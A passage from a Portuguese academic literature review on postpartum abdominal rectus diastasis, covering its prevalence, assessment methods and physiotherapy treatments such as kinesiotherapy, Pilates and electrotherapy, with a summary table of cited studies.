musculoesquelética de caráter amplo, que deve ser investigada em diferentes faixas da população.</p>



<p class="wp-block-paragraph">A diástase pode ocorrer acima, ao redor ou abaixo do umbigo, podendo envolver toda extensão da linha média, dependendo da gravidade e localização da separação muscular. (Mota <em>et al</em>., 2015).</p>



<p class="wp-block-paragraph">Sabe-se que a musculatura abdominal tem várias funções, e a principal delas é a estabilização do tronco, mas quando a DMRA apresenta um afastamento excessivo, pode atingir a capacidade estabilizadora e ainda predispor o surgimento de futuras dores na região lombar, lembrando que a DMRA não provoca dor aguda na região do abdômen (Urbano <em>et al</em>.,2019). Segundo Mota (2020, p. 42) “o treino dos músculos abdominais profundos, especialmente do transverso do abdómen, é determinante na prevenção da diástase abdominal”.</p>



<p class="wp-block-paragraph">Quanto à epidemiologia da diástase abdominal, estudos apontam que sua prevalência varia amplamente conforme população, método diagnóstico e período de avaliação. Em mulheres no pós-parto, a incidência pode ultrapassar 60% nas primeiras semanas, reduzindo gradualmente até aproximadamente 30% após seis meses. Entretanto, uma parcela das mulheres permanece com afastamento significativo por mais de um ano, especialmente quando existem fatores como multiparidade, idade materna avançada e ausência de acompanhamento fisioterapêutico. Além disso, a prevalência em populações não gestantes têm recebido maior atenção, com índices que variam entre 10% e 25% dependendo da condição clínica e estilo de vida avaliados (Fernandes e Castro, 2019).</p>



<p class="wp-block-paragraph">De acordo com Gomes e Araújo (2023), outro aspecto importante da epidemiologia é a associação entre diástase abdominal e comorbidades musculoesqueléticas e viscerais. Indivíduos com DMRA apresentam maior risco de lombalgia crônica, hérnias umbilicais, instabilidade lombo-pélvica e alterações urinárias decorrentes do desequilíbrio pressórico associado à fraqueza do core. Em mulheres pós-parto, a combinação entre DMRA e disfunções pélvicas, como incontinência urinária, é frequentemente relatada e pode impactar de maneira significativa a funcionalidade e a qualidade de vida.&nbsp;</p>



<p class="wp-block-paragraph">Por fim, Carvalho, (2021) ressalta que investigar a epidemiologia da DMRA é fundamental para orientar políticas de saúde, protocolos clínicos preventivos e programas de reabilitação baseados em evidências. A ampliação dos estudos epidemiológicos, tanto em gestantes quanto em populações não gestacionais, permite identificar grupos vulneráveis, padrões de risco e lacunas no tratamento. A presença da diástase envolve dimensões funcionais, estéticas e psicossociais, justificando sua relevância crescente no campo da Fisioterapia, Educação Física e Saúde Pública.&nbsp;</p>



<p class="wp-block-paragraph">De acordo com Leite e Araújo (2012) os fatores de risco e a prevalência da diástase abdominal em mulheres pós-parto são aspectos importantes a serem considerados na recuperação pós-gestacional. Mudanças no corpo como impactos hormonais no colágeno e os músculos involuntários; aumento do fluxo sanguíneo para o útero e rins; expansão e deslocamento do útero em função do crescimento fetal; obesidade e postura.&nbsp;</p>



<p class="wp-block-paragraph">A diástase abdominal é uma condição comum em mulheres no pós-parto, caracterizada pela separação dos músculos reto-abdominais, e sua prevalência pode variar significativamente. Fatores de risco incluem o número de gestações, o peso ganho durante a gravidez e a prática de exercícios físicos inadequados após o parto. Estudos indicam que aproximadamente 60% a 70% das mulheres podem apresentar algum grau de diástase abdominal após o parto (Santos <em>et al</em>., 2014).</p>



<p class="wp-block-paragraph">A prevalência de diástase abdominal varia conforme o critério diagnóstico e o método de avaliação utilizado. Estudos mostram prevalência de aproximadamente 28,4% em mulheres adultas, com maior frequência antes dos 45 anos (Rath e Nahas, 2021). E segundo (Sperstad <em>et al</em>., 2016) no pós-parto, a incidência aumenta consideravelmente. Em até 82,6% das mulheres no primeiro ano após o parto, a diástase pode ser observada, reduzindo gradualmente ao longo dos meses seguintes.&nbsp;</p>



<p class="wp-block-paragraph">Para Leite e Araújo (2012) às complicações da diástase do músculo reto abdominal, as consequências e outros fatores fundamentais como a incidência não tem sido bem investigado no âmbito dos trabalhos acadêmicos no Brasil. Os principais fatores que predispõem a diástase são: gravidez, obesidade, idade, histórico familiar, condições médicas, entre outras. Além de causar autoestima baixa, impacto psicológico, sentimento de tristeza, ansiedade e depressão; pela presença de má forma física e insatisfação com o corpo (Oliveira, 2016).</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">A prevalência da distância entre os MRA pode variar de 35,0% a 100,0%, dependendo dos critérios e do local de avaliação. A ocorrência da diástase nas primíparas e multíparas foi de 74,9% e 76,6% na região supraumbilical e de 40,0% e 54,5% na infraumbilical, respectivamente. A DMRA supraumbilical foi similar entre os grupos, embora nas multíparas tenha sido discretamente superior. Entretanto, a distância entre os MRA na região infraumbilical foi significativamente maior nas multíparas (Bertoloni, 2019).</p>
</blockquote>



<p class="wp-block-paragraph"><strong>6.1.1 Alterações físicas e aspectos psicológicos</strong></p>



<p class="wp-block-paragraph">“A intervenção precoce da fisioterapia durante a gestação pode reduzir significativamente a separação da linha alba e contribuir para a melhoria da postura e da estabilidade lombopélvica” (Mota, 2020, p. 35). Já (Correia, 2023, p. 31) diz que “O acompanhamento individualizado no pós-parto imediato é essencial para prevenir complicações funcionais e estéticas”.&nbsp;</p>



<p class="wp-block-paragraph">Os estudos encontrados afirmam que a imagem corporal está mais relacionada a qualidade de vida, pois o fato de a puérpera sentir as mudanças do seu corpo logo após o parto, leva a mulher a sentir-se insatisfeita com o seu corpo e assim causa mudanças no seu dia a dia (Barbosa, 2013). Já para Silveira (2015) a insatisfação com a autoimagem pode estar relacionada à depressão e a distância inter-retos em virtudes da insatisfação corporal em relação ao que era seu corpo antes do parto. Segundo Silva e Andrade, (2020) muitas mulheres relatam sentimentos de perda de identidade corporal e insatisfação estética, o que pode desencadear insegurança e frustração diante da própria imagem. Esse processo é intensificado pela pressão social em torno da recuperação rápida do corpo pós-gestacional, criando um cenário emocional vulnerável e propício ao sofrimento psicológico&nbsp;</p>



<p class="wp-block-paragraph"><strong>6.2 O PAPEL DO FISIOTERAPEUTA NO TRATAMENTO DA DIÁSTASE NO PÓS PARTO&nbsp;</strong></p>



<p class="wp-block-paragraph">De acordo com Sampaio, Simão e Melo (2014) o fisioterapeuta desempenha um papel fundamental na recuperação da mulher durante o puerpério imediato. Utilizando-se de técnicas de cinesioterapia que são práticas próprias e exclusivas do fisioterapeuta, ele traça seus objetivos e estratégias até atingir o potencial de recuperação da puérpera. Costa, Silva e Silva (2022) concluíram que o papel do fisioterapeuta é muito amplo e de suma importância durante todo o processo gestacional, e quando há um acompanhamento, há a diminuição não só de dores, mas de ansiedade e medo das gestantes. “A atuação precoce da fisioterapia contribui para a prevenção de recidivas e melhora da estabilidade abdominal” (Moreira, 2022, p. 15).&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">O sucesso do acompanhamento fisioterapêutico, seja no domicílio ou no ambulatório, depende, essencialmente, do pleno conhecimento das alterações puerperais, a fim de que as condições pré-gravídicas possam ser alcançadas. Assim, busca-se contemplar tanto a reabilitação funcional quanto a estética, sem, contudo, deixar de lado a humanização do cuidado e a percepção das queixas que a mulher indica, e não apenas o que foi detectado no exame físico da fisioterapia (Baracho, 2018, p.199).</p>
</blockquote>



<p class="wp-block-paragraph">De acordo com Souza (2020) além das alterações físicas, o impacto estético da diástase abdominal repercute diretamente no bem-estar emocional. Mudanças na pele e na forma do abdome estão entre as principais causas de insatisfação corporal no pós-parto, influenciando a autoestima, a vida social e até a intimidade da mulher. A percepção negativa do próprio corpo pode gerar ansiedade, frustração e dificuldades de aceitação, tornando essencial que a abordagem terapêutica considere tanto a funcionalidade quanto a estética e o estado emocional da puérpera.</p>



<p class="wp-block-paragraph">Segundo Taylor, (2018) a diástase abdominal no pós-parto não provoca apenas alterações funcionais, mas também mudanças estéticas extremamente relevantes para a mulher. Durante a gestação, a pele abdominal passa por um processo intenso de estiramento para acomodar o crescimento uterino, o que pode gerar perda de elasticidade, enfraquecimento das fibras de colágeno e flacidez após o parto. Quando essa flacidez se combina com o afastamento dos músculos retos abdominais, o abdome adquire um aspecto abaulado, que interfere diretamente na aparência corporal e no bem-estar da puérpera.</p>



<p class="wp-block-paragraph">Desse modo a Fisioterapia Dermato-Funcional é oficialmente reconhecida como especialidade pelo Conselho Federal de Fisioterapia e Terapia Ocupacional. A Resolução COFFITO nº 362, publicada em 20 de maio de 2009, declara que a Dermato-Funcional é uma especialidade própria do fisioterapeuta e estabelece critérios para concessão do título de especialista. Essa regulamentação foi o marco inicial que definiu a fisioterapia estética como área científica e legalmente amparada dentro da profissão, garantindo sua atuação segura e regulamentada. (COFFITO, Resolução nº 362/2009).</p>



<p class="wp-block-paragraph">A uroginecologia desempenha um papel fundamental na avaliação e no tratamento da diástase abdominal no pós-parto, pois essa condição está diretamente relacionada ao funcionamento do assoalho pélvico. A separação dos músculos retos abdominais altera a biomecânica do tronco e aumenta a sobrecarga sobre estruturas pélvicas, podendo contribuir para disfunções como incontinência urinária, prolapsos leves e diminuição da estabilidade lombo-pélvica. A atuação uroginecológica permite identificar essas alterações precocemente e integrar estratégias terapêuticas que restauram a função global da região abdominal e pélvica (BO, 2017).</p>



<p class="wp-block-paragraph">Segundo Santos e Resende, (2020) a intervenção da fisioterapia uroginecológica no pós-parto inclui técnicas de reeducação do assoalho pélvico, exercícios de ativação sinérgica entre transverso do abdome e musculatura perineal, e orientações comportamentais que evitam o aumento inadequado da pressão intra-abdominal. Estudos mostram que o fortalecimento adequado do assoalho pélvico melhora a transmissão de forças entre abdômen e pelve, favorecendo a redução da diástase e prevenindo sintomas urinários associados. Essa integração entre core profundo e musculatura perineal é hoje considerada essencial no manejo conservador da diástase.</p>



<p class="wp-block-paragraph">A especialidade Fisioterapia na Saúde da Mulher foi oficialmente reconhecida como área profissional do fisioterapeuta pelo COFFITO por meio da Resolução COFFITO nº 372/2009, publicada em 6 de novembro de 2009. Essa resolução declara que a “Saúde da Mulher” é uma especialidade própria e exclusiva do fisioterapeuta, conferindo legitimidade para atuação especializada nas particularidades do ciclo de vida feminino. (COFFITO, Resolução nº 372/2009)</p>



<p class="wp-block-paragraph"><strong>6.3 AVALIAÇÃO DA DIÁSTASE ABDOMINAL</strong></p>



<p class="wp-block-paragraph">“A técnica das polpas digitais é uma ferramenta bastante utilizada para a mensuração da DMRA na prática clínica, sendo considerada de grande utilidade para sua avaliação” (Pitangui <em>et al</em>, 2016, p. 150). Uma outra forma de mensurar a DMRA é com o uso do paquímetro, um instrumento que permite uma mensuração precisa de centímetros em diferentes superfícies. (Santos, 2016).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura A</strong>. Avaliação da DMRA com a técnica das polpas digitais. <strong>Figura B</strong>. Avaliação da DMRA com paquímetro.</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="379" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-128-1024x379.jpeg" alt="" class="wp-image-257970" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-128-1024x379.jpeg 1024w, https://revistaft.com.br/wp-content/uploads/2025/12/image-128-300x111.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-128-768x284.jpeg 768w, https://revistaft.com.br/wp-content/uploads/2025/12/image-128.jpeg 1057w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: (Pitangui, 2016)</p>



<p class="wp-block-paragraph">Para a avaliação da DMRA, com a paciente em decúbito dorsal, joelhos fletidos a 90°, pés e mãos apoiados no leito, terapeuta solicita a paciente que faça uma flexão de tronco e o terapeuta mensura com as pontas dos dedos a nível da linha média do abdômen o nível de afastamento dos músculos reto abdominal. (Baracho, 2018). De acordo com Driuso e Beleza, (2023, p.18) “o teste será positivo se ocorrer a separação de pelo menos dois dedos ou 2 cm entre os feixes musculares do músculo reto abdominal”.</p>



<p class="wp-block-paragraph">As intervenções de reabilitação, incluindo exercícios de resistência, terapia manual e eletroterapia, são fundamentais para a recuperação da força muscular e da tonicidade. O treinamento de resistência é eficaz para aumentar a força e a massa muscular, enquanto a terapia manual pode ajudar na redução da dor e na melhora da mobilidade. A eletroterapia é frequentemente utilizada para estimular os músculos em pacientes que não conseguem realizar exercícios ativos, promovendo assim a recuperação funcional (Cameron; Monroe, 2015).</p>



<p class="has-text-align-left wp-block-paragraph">Na <strong>figura A</strong> um abdômen sem diástase. <strong>Figura B</strong>. diástase total. <strong>Figura C</strong>. diástase supraumbilical.</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="406" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-129-1024x406.jpeg" alt="" class="wp-image-257971" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-129-1024x406.jpeg 1024w, https://revistaft.com.br/wp-content/uploads/2025/12/image-129-300x119.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/12/image-129-768x304.jpeg 768w, https://revistaft.com.br/wp-content/uploads/2025/12/image-129.jpeg 1080w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Baracho, 2018.</p>



<p class="wp-block-paragraph"><strong>6.4 INTERVENÇÕES FISIOTERAPÊUTICAS</strong></p>



<p class="wp-block-paragraph">A fisioterapia desempenha um papel crucial no tratamento da DMRA por várias razões, proporcionando benefícios significativos para indivíduos que enfrentam essa condição. Ela representa uma abordagem não invasiva, visando não apenas tratar os sintomas, mas também promover a reabilitação completa da região abdominal trabalhando na melhoria da coordenação muscular, fortalecimento, e correção postural. Diversos tratamentos têm se mostrado eficazes na redução da DMRA em mulheres pós-parto. Entre as abordagens destacam-se o fortalecimento do core profundo, exercícios direcionados para a musculatura do assoalho pélvico, e a aplicação de fitas (Thabet <em>et al</em>., 2019).</p>



<p class="wp-block-paragraph">A atuação fisioterapêutica no tratamento conservador da DMRA será realizada nos casos de persistência da separação dos músculos reto abdominais, com programas de exercícios abdominais, educação postural, a fim de promover melhor qualidade de vida e percepção corporal, o que leva a uma melhora do tônus dos músculos abdominais e pélvicos, e busca esclarecer a importância da continuidade dos exercícios durante o período de pós-parto (Faria, 2020). E Santos, (2025, p.47) diz que: “mulheres que realizam atividade física regular apresentam menor separação inter-retos e maior tônus muscular abdominal”</p>



<p class="wp-block-paragraph">Michalska <em>et al</em>. (2018) listam diversas abordagens conservadoras, como exercícios abdominais (para fortalecer os músculos transversos abdominais ou os retos abdominais), treinamento postural, educação e treinamento sobre técnicas adequadas de mobilidade e elevação, métodos para fortalecer os músculos transversos abdominais, como Pilates, treinamento funcional, exercícios da técnica de Tupler com ou sem tala abdominal, a técnica Noble, que envolve a aproximação manual dos músculos retos abdominais durante uma flexão abdominal parcial),manual (mobilização de tecidos moles, liberação miofascial), cintas e bandagens abdominais, o tubigrip ou um espartilho.</p>



<p class="wp-block-paragraph"><strong>6.4.1 Cinesioterapia</strong></p>



<p class="wp-block-paragraph">Sabe-se que a musculatura abdominal tem várias funções, e a principal delas é a estabilização do tronco, mas quando a DMRA apresenta um afastamento excessivo, pode atingir a capacidade estabilizadora e ainda predispor o surgimento de futuras dores na região lombar, lembrando que a DMRA não provoca dor aguda na região do abdômen (Urbano <em>et al</em>.,2019).&nbsp;</p>



<p class="wp-block-paragraph">A cinesioterapia por sua vez utiliza exercícios corretivos voltados para reduzir a separação dos músculos retos abdominais causada pela diástase, além de fortalecer as musculaturas do abdômen e da pelve. Por meio de exercícios isométricos e isotônicos, a cinesioterapia contribui para recuperar a tonicidade e a força de músculos que apresentam flacidez ou hipotonia (Coitinho <em>et al</em>., 2019).&nbsp;</p>



<p class="wp-block-paragraph">O programa de exercícios para o tratamento da diástase abdominal baseia-se prioritariamente na ativação do músculo transverso do abdome, considerado o principal estabilizador profundo do tronco. A contração correta desse músculo reduz a tensão sobre a linha alba, melhora o suporte lombo-pélvico e auxilia no reposicionamento das fibras do reto abdominal. Pesquisas destacam que a ativação isolada do transverso, associada ao controle da respiração, constitui o pilar fundamental da reabilitação conservadora. (Lee e Hodges, 2016). Correia, 2023, p. 28 diz que: “programas de exercícios supervisionados que ativam o transverso do abdómen e o pavimento pélvico apresentam eficácia na redução da distância inter-retos”.</p>



<p class="wp-block-paragraph">O treino inicial normalmente inclui exercícios de baixa carga, como a “contração abdominal suave” (gentle contraction), exercícios respiratórios diafragmáticos e ativação do assoalho pélvico. Essa fase visa restaurar o controle motor e melhorar a coordenação entre o transverso do abdome e os músculos profundos da pelve. Estudos mostram que falhas no recrutamento dos músculos profundos estão diretamente associadas ao aumento da separação da linha alba e à instabilidade lombar, justificando a importância da ativação precoce. (Stafne <em>et al</em>. 2018)</p>



<p class="wp-block-paragraph">Posteriormente, o programa evolui para exercícios de estabilidade lombo-pélvica, como ponte (bridge), bird dog, prancha modificada e progressões funcionais que aumentam gradualmente a demanda sobre o core. Nessas etapas, o objetivo é melhorar a rigidez da parede abdominal sem elevar excessivamente a pressão intra-abdominal, o que poderia agravar a diástase. A literatura destaca que progressões mal planejadas — como flexões de tronco intensas — devem ser evitadas no início, pois podem aumentar a tensão na linha alba. (Benjamin <em>et al</em>., 2019)</p>



<p class="wp-block-paragraph">Na fase avançada, incluem-se exercícios funcionais integrados, como agachamentos com ativação do core, avanço (lunge) com controle abdominal e pranchas completas. Essa etapa busca restabelecer a funcionalidade global, preparando a paciente para as demandas do dia a dia. Pesquisas indicam que o treinamento funcional quando acompanhado de ativação consciente do transverso promove melhor alinhamento postural, melhora estética do abdome e redução significativa da separação inter-retos. (Keeler <em>et al</em>., 2012)</p>



<p class="wp-block-paragraph">Além disso, alguns protocolos incorporam exercícios hipopressivos, que têm demonstrado efeito positivo na redução da pressão intra-abdominal e complementaridade ao treinamento do transverso. Embora ainda haja controvérsia, estudos recentes sugerem que a combinação de hipopressivos e exercícios tradicionais do core pode aumentar a efetividade terapêutica, especialmente no pós-parto. (Resende <em>et al</em>., 2021)</p>



<p class="wp-block-paragraph">Por fim, o programa deve ser individualizado, considerando fatores como tempo de pós-parto, sintomas associados, capacidade funcional e presença de dor lombar. A personalização do plano terapêutico contribui para melhores resultados clínicos e maior adesão. A literatura reforça que a reabilitação bem orientada é eficaz na grande maioria dos casos, reduzindo a necessidade de intervenções cirúrgicas. (Mota<em> et al</em>., 2015)</p>



<p class="wp-block-paragraph"><strong>6.4.2 Pilates</strong></p>



<p class="wp-block-paragraph">Outro método bastante utilizado para tratamento de diástase abdominal é o método Pilates, fundado por Joseph Humbertus Pilates (1880-1967. Essa técnica de reabilitação relacionada a prática de atividade física, objetiva equilíbrio, flexibilidade e fortalecimento, obedecendo a fisiologia de todo indivíduo e promovendo inúmeros benefícios (Kroetz, &amp; Santos, 2015). Contudo, a mulher que apresentar a diástase abdominal deve ter um plano de tratamento individualizado onde o método entrará como recurso a tratar de maneira a auxiliar no acometimento muscular devido a gestação ou após o parto, visto que evidências comprovam que a diástase pode ser causada também durante o trabalho de parto devido ao esforço físico necessário para expulsão do feto (Pereira <em>et al.</em>, 2020).</p>



<p class="wp-block-paragraph">Segundo Fernandes e Santos (2016), os exercícios executados devem ser realizados com a tonificação dos músculos da região do abdômen, nomeado “<em>power house</em>” ou centro de força, concebido pelas quatro camadas do abdômen (reto abdominal, oblíquo externo, oblíquo interno e transverso do abdome), assoalho pélvico e eretores profundos da coluna, tornando-se tais musculaturas encarregadas pela estabilidade estática e dinâmica do corpo.</p>



<p class="wp-block-paragraph">Vale ressaltar que o método Pilates é baseado em seis princípios, sendo eles: respiração, concentração, centralização, precisão, fluidez e controle (Kroetz, &amp; Santos, 2015).</p>



<p class="wp-block-paragraph"><strong>6.4.3 Eletroterapia</strong></p>



<p class="wp-block-paragraph">O recurso mais utilizado no tratamento da diástase do músculo reto abdominal é a corrente russa. A qual é um procedimento terapêutico não invasivo, utilizando uma corrente alternada de média frequência, método que proporciona tonificação muscular, ganho de&nbsp; força e &nbsp; aumento &nbsp; do &nbsp; volume &nbsp; muscular. &nbsp; Com o uso da eletroestimulação&nbsp; russa,&nbsp; a&nbsp; recuperação&nbsp; pode&nbsp; ser&nbsp; mais&nbsp; rápida&nbsp; e&nbsp; eficaz&nbsp; quando&nbsp; comparada a recuperação fisiológica, com melhora da tonicidade muscular, flacidez,&nbsp; redução de medidas, e redução da diástase do músculo reto abdominal. (Borges e Valentin, 2012). Contudo o sucesso desse recurso terapêutico dependerá amplamente dos parâmetros utilizados na condução da corrente, fazendo-se necessário o conhecimento da condição a ser tratada com domínio sobre os mecanismos atuantes (Lima; Rodrigues, 2012).&nbsp;</p>



<p class="wp-block-paragraph">De acordo Oliveira, Quirino e Rodrigues (2018) a importância no aprofundamento do tema é devido aos benefícios que a luz de LED e a radiofrequência tem contribuído para a fisioterapia na melhoria da flacidez região afetada, os efeitos bioestimulantes além de regeneradores, elevam a capacidade dos fibroblastos e regeneração do colágeno, elevando a melhoria da pele e consequentemente a diminuição da flacidez e aspecto da pele e musculatura.</p>



<p class="wp-block-paragraph">Segundo Borges e Valentin (2012) existem vários relatos na literatura, que incluem resultados satisfatórios do uso da eletroestimulação para melhora da qualidade da função muscular. Os objetivos da técnica incluem: manter a qualidade e quantidade do tecido muscular, recuperar a sensação de tensão muscular, aumentar ou manter força muscular, e estimular o fluxo de sangue no músculo. O aumento da força muscular com eletroestimulação pode ser alcançado em pouco tempo e este fortalecimento se dá artificialmente<strong>.</strong> E de acordo com Gadelha, (2021) o tratamento da flacidez muscular é indicado sessões de eletroestimulação (corrente russa), fazendo com que a recuperação se torne mais rápida que a recuperação fisiológica, acarretando também uma diminuição da DMRA, outra indicação é a radiofrequência, denominada como um tratamento não agressivo e eficaz a flacidez cutânea, pois o calor provocado na radiofrequência faz com que haja uma diminuição do colágeno e um aumento de fibroblastos, melhorando assim a flacidez da pele.</p>



<p class="wp-block-paragraph"><strong>7. METODOLOGIA</strong><strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente estudo baseou-se em um estudo bibliográfico, e fez uso de uma abordagem qualitativa e tendo como forma metodológica o caráter descritivo e explicativo.</p>



<p class="wp-block-paragraph">Em seus estudos, Lakatos e Marconi (2021, p. 78) esclarecem que a pesquisa bibliográfica, ou de fontes secundárias têm como finalidade “colocar o pesquisador em contato direto com tudo o que foi escrito, dito ou filmado sobre determinado assunto, inclusive conferências seguidas de debates que tenham sido transcritos por alguma forma, quer publicadas, quer gravadas”.</p>



<p class="wp-block-paragraph">A pesquisa qualitativa enfatiza as qualidades de entidades e de processos que não são apresentados em termos de quantidade, intensidade ou frequência. Ela enfatiza a natureza socialmente construída da realidade, o relacionamento íntimo entre o pesquisador e o que é estudado, além das restrições situacionais que moldam a investigação (Gil, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Já a pesquisa descritiva segundo Gil (2022) visa descrever as características de uma determinada população ou fenômeno ocorrido ou vincular relações entre variáveis. São inúmeros os estudos que podem ser classificados sob esse título, utilizando técnicas padronizadas de coleta de dados, tais como questionários e a observação sistemática.&nbsp;</p>



<p class="wp-block-paragraph">A pesquisa explicativa para Severino (2016. p.59), “além de registrar e analisar fenômenos, ela busca identificar suas causas, seja através de métodos experimentais ou de análise qualitativa”.</p>



<p class="wp-block-paragraph">Essa pesquisa tem como problematização “como o tratamento fisioterapêutico pode reduzir a diástase abdominal em mulheres no pós-parto”. Perante a problematização da pesquisa os descritores são: &#8220;diástase abdominal”, “pós parto”, “tratamento fisioterapêutico”. Baseado nisso o banco de dados foi realizado a partir de um buscador “Google Acadêmico” e de uma base de dados, “Scielo” ( Scientific Eletronic Library Online), LILACS. Com isso, os idiomas encontrados foram Português, Inglês e Espanhol com anos de 2015 a 2025. Tendo critérios de inclusão artigos que contribuíram com o tema abordado e referências atualizadas. Assim como os critérios de exclusão foram artigos sem nenhuma clareza no contexto, referências antigas ou de difícil acesso.</p>



<p class="wp-block-paragraph">A pesquisa possui como universo 500 artigos sendo 25 utilizados como amostra. A coleta do estudo será realizada através de livros, artigos, teses e dentre outros. Sendo que a análise dos resultados será abordada de forma tabelada ou descritiva como narração.</p>



<p class="wp-block-paragraph"><strong>8. RESULTADOS E DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A abordagem das ideias dos autores será explicada através de quadros.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1.0</strong>&#8211; Descreve os trabalhos, com autores e ano, título, tipo de estudo, amostra e procedimentos e resultados.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Autores e ano</strong></td><td><strong>Título</strong></td><td><strong>Tipo de estudo</strong></td><td><strong>Amostra/Procedimentos</strong></td><td><strong>Resultados</strong></td></tr><tr><td>Michelowski,&nbsp;Simão,Melo2014</td><td>A Eficácia&nbsp; da Cinesioterapia na Redução da Diástase do Músculo&nbsp; Reto Abdominal&nbsp; em&nbsp; Puérperas &nbsp; de um Hospital Público em&nbsp;Feira de Santana – BA”</td><td>Estudo clínico intervencionista, ou experimental</td><td>A pesquisa foi realizada no setor Materno Infantil em um Hospital Público do Município de Feira de Santana, Bahia. Participaram da pesquisa 20 mulheres com idade entre 18 e 40 anos, no período do puerpério imediato, que apresentaram DMRA com diâmetro superior a 3 centímetros de largura,&nbsp; que tiveram no máximo três partos normais e que aceitaram participar do estudo. O período de realização da pesquisa foi de maio a julho de 2012</td><td>Conclui-se que houve uma predominância maior&nbsp; de&nbsp; DMRA&nbsp; SU&nbsp; e&nbsp; U&nbsp; e&nbsp; que&nbsp; a&nbsp; cinesioterapia&nbsp; mostrou-se&nbsp; eficaz&nbsp; na&nbsp; redução&nbsp; das&nbsp; medidas, quando foram comparados o antes e o depois de cada uma. Porém, ao comparar a diferença nas medidas entre os grupos, não foi identificada diferença estatisticamente significante</td></tr><tr><td>Thabet, Ali A.; Alsheri, Mansour A. 2019</td><td>“Efficacy of deep core stability exercise program in postpartum women with diastasis recti abdominis: arandomised controlled trial”.“Eficácia de um programa de exercícios de estabilização do core profundo em mulheres no pós-parto com diástase dos retos abdominais: um ensaio clínico randomizado controlado”.</td><td>Ensaio clínico Randomizado controlado.</td><td>O grupo de estudo consistiu em quarenta mulheres com diástase abdominal, com idades entre 23 e 33 anos, que foram aleatoriamente divididas em dois grupos. As 20 mulheres do primeiro grupo participaram de um programa de fortalecimento e estabilização do core, além de um programa de exercícios abdominais tradicionais, três vezes por semana, durante um período total de oito semanas. As outras 20 mulheres, que formaram o segundo grupo, participaram apenas do programa de exercícios abdominais tradicionais, três vezes por semana, durante oito semanas. Após esse procedimento, a separação inter-abdominal foi mensurada utilizando um paquímetro digital de náilon, enquanto a qualidade de vida foi avaliada pela Escala de Função Física (PF10) para todas as participantes.</td><td>Como resultado da utilização do programa de exercícios de estabilização profunda do core, a separação inter-retal apresentou uma diminuição estatisticamente significativa (P&lt;0,0001), demonstrando uma melhora estatisticamente significativa na qualidade de vida dos grupos estudados (p&lt;0,0001)..</td></tr><tr><td>Urbano, <em>et al.</em> 2019</td><td>Exercícios de fortalecimento para o músculo reto abdominalcomo tratamento da diástase pós-gestacional</td><td>Revisão bibliográfica&nbsp;</td><td>Foi realizado um levantamento bibliográfico nas bases de dados Scielo, Bireme, Medline, Pubmed de artigos científicos publicados entre os anos de 1999 a 2018, utilizando como descritores isolados ou em combinação: Diástase abdominal; abdominal diastasis; músculo reto abdominal; rectus abdominis muscle; gestação; gestation; exercício físico e physical exercise</td><td>Os exercícios de fortalecimento aplicado são eficazes para reverter as possíveis intervenções cirúrgicas desnecessárias</td></tr><tr><td><br>Araujo e Leite, 2012</td><td>Diástase dos retos abdominais em puérperas e sua relação com variáveis obstétricas</td><td>Pesquisa de campo, utilizando análise descritiva e de natureza quantitativa</td><td>Foram selecionadas 100 puérperas de acordo com os critérios de inclusão: idade fértil, em puerpério imediato e que durante a internação não tenham recebido atendimento fisioterapêutico para correção da diástase. Fez-se o levantamento dos antecedentes obstétricos e clínicos por meio de um questionário. Posteriormente, avaliou-se a diástase com um paquímetro digital. Para analisar a correlação significativa entre o evento e as variáveis, foi aplicado o teste do qui-quadrado.</td><td>As puérperas que apresentaram a diástase eram multíparas, multigestas, com idade entre 19 e 30 anos, tendo seus filhos por meio de partos normais, com intervalos curtos entre as gestações. Quanto à localização, houve maior incidência da diástase supraumbilical associada à separação umbilical.</td></tr><tr><td>Pampolim <em>et al.</em> 2021.</td><td>Atuação Fisioterapêutica na redução da diástase abdominal no puerpério imediato</td><td>Estudo de intervenção randomizado (ensaio clínico)</td><td>Estudo de intervenção com randomização de dois grupos de 25 puérperas recrutadas em uma maternidade de Vitória-ES. Ambos foram submetidos à avaliação e mensuração da diástase através de um paquímetro, e no grupo de tratamento além da avaliação foi aplicado um protocolo de tratamento fisioterápico às&nbsp; 06&nbsp; e&nbsp; 18&nbsp; horas&nbsp; após&nbsp; o&nbsp; parto.&nbsp; Os&nbsp; dados&nbsp; f</td><td>Houve diminuição da diástase abdominal entre a primeira e a última avaliação (6h e 18h, respectivamente), em ambos os grupos de forma isolada e em ambas as variáveis analisadas., identificou-se que no grupo tratamento, a&nbsp; diminuição&nbsp; da&nbsp; diástase&nbsp; abdominal&nbsp; supra&nbsp; umbilical&nbsp; foi&nbsp; mais &nbsp; acentuada, &nbsp; sendo &nbsp; esta &nbsp; diferença &nbsp; estatisticamente &nbsp; significante (p &lt; 0,001).</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Próprio Autor, 2024.</p>



